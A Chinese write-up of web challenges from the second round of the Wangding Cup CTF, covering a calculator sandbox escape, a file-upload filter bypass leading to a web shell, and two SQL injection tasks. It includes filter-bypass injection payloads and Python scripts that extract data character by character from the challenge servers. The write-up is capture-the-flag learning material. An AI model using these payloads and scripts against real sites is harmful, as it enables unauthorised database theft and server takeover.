[网鼎杯] 第二场web writeup

网鼎杯 第二场 web writeup

向信安之路的老哥要了一个账号,赛后开始做题

web

calc


可以这个计算机很厉害
既然说一定要写好正则,说明正则很重要
感觉是道沙箱逃逸题正好学习一下
可是怎么绕过正则
https://www.anquanke.com/post/id/85571
他没有最后的$,所以后面应该可以输入很多字符,截止


来了一个int和不能str相加,name把后面的换成int呢

答案直接出来了。还行=。=
试了一下发现直接那个不行的原因是因为我加了一个回车,如果不加回车就可以了


这样就可以了=。=

wafUpload

进图给源码真棒


先上传再说



黑人问号我给你jpg居然不允许=。=我看看源码



看了一下代码所以他是先看filename,我刚刚在上传的时候把filename改成了test,所以上传失败了


reset函数

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。


直接命名为jpg也是可以上传的

判断了这个
file是不是数组,是为了区别有没有取名字吧 ![](http://pbolw7iuc.bkt.clouddn.com/15350280496059.jpg) 突然想到in_array是弱类型判断,如果最后没有加上strict参数,漏洞估计在这![](http://pbolw7iuc.bkt.clouddn.com/15350280955431.jpg) ![](http://pbolw7iuc.bkt.clouddn.com/15350286804344.jpg) 我觉得可以上传一个数组,filename[0]=xxx.php,filename[1]=000 然后构成一个xxx.php.00 利用apache的解析漏洞来实现shell试一试可是,上传上去的是个字符串无法实现。。 但是cout(\
file)-1和end是不一样的,如果filename[0]=xxx.php,filename[2]=000
那么filename[1]就为空了

ok,试一下

写进去了,掏出蚁剑
一直连不上才发现其实并没有写进去

再换个想法

命名为php.php/. 其实上传的还是php.php连上蚁剑,终于成功了。。


找到flag

unfinished

这个loli挺可爱


进去一看源码连个注册地方都没有,那么试一下register.php
果然在这

耶成功登录

???什么都没有,就只有一个adsl1234
找找有没有源码。。并没有
我猜测应该是二次注入,连给的信息都只有一个用户名,跟强网杯的应该差不对
从用户名下手

并没有成功,看样子不用16进制

逗号被过滤了


注进去了!
为什么是1呢。总不可能是盲注吧。既然注释符不能用就构造为真就好了

这样就可以了

解出来是web
那么继续

被过滤了,看样子不行, 应该是空格不能存在吧
information_schema原来是这个被过滤了
必须要两次hex才可以把所有的数据拿出来一次不知道为啥不行=。=
脚本

import requests
import string
import re as r

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://9daeec995ba44773ba0af4a02d87163e89bcd352b4694337.game.ichunqiu.com/'

def register(email,username):
    url1 = url+'register.php' 
    data = dict(email = email, username = username,password = 'adsl1234')
    html = re.post(url1,data=data)
    html.encoding = 'utf-8'
    return html

def login(email):
    url2 = url+'login.php'
    data = dict(email = email,password = 'adsl1234')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'
    return html


f = ''
for j in range(0,17):
    payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
    email = '{}@qq.com'.format(str(j)+'14')
    html = register(email,payload)
    # print html.text
    html = login(email)
    try:
        res = r.findall(r'(.*?)',html.text,r.S)
        flag = res[0][1:].strip()
        print flag
        f += flag
        print f
        print f.decode('hex').decode('hex')
    except:
        print "problem"

sqlweb

既然说admin也拿不到flag=。=那肯定是注入咯
噗感觉很简单是一个盲注题
密码错误也会显示出来

现在要看看过滤了啥


太良心了!良心题过滤了啥都有
单引号没过滤就没啥问题
不能有空格没问题,可以用括号
先本地测试一下

成功了一半 if 和mid并没有过滤
那么空格用括号来绕过
逗号用from for来绕过
等号可以用strcmp,在测试一下

在处理一下空格
''^(strcmp(mid((select(username)from(users)where(id=1))from(1)for(1)),'c')
ok了
脚本,也只能注入password啥都被过滤了

突然发现strcmp也是有逗号的,只能用in函数了

import requests
import string

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://53b00b880684449d8b9784e95a0202e28dd6259b4ead4cda.game.ichunqiu.com/sql.php'

flag = ''
for i in range(1,100):
    for j in ch:
        payload = "admin'&&mid((passwd)from({})for(1))in('{}')/**/limit/**/1#".format(i,j)
        data = dict(uname=payload,passwd='adsl1234',submit='login')
        # print data
        html = re.post(url, data=data)
        # print html.text
        if 'passwd' in html.text:
            flag += j
            print flag
            break

出来admin的密码是admin123
然后登录显示要吴彦祖的账号密码
把上面的admin换成wuyanzu就可以了


你可能感兴趣的:([网鼎杯] 第二场web writeup)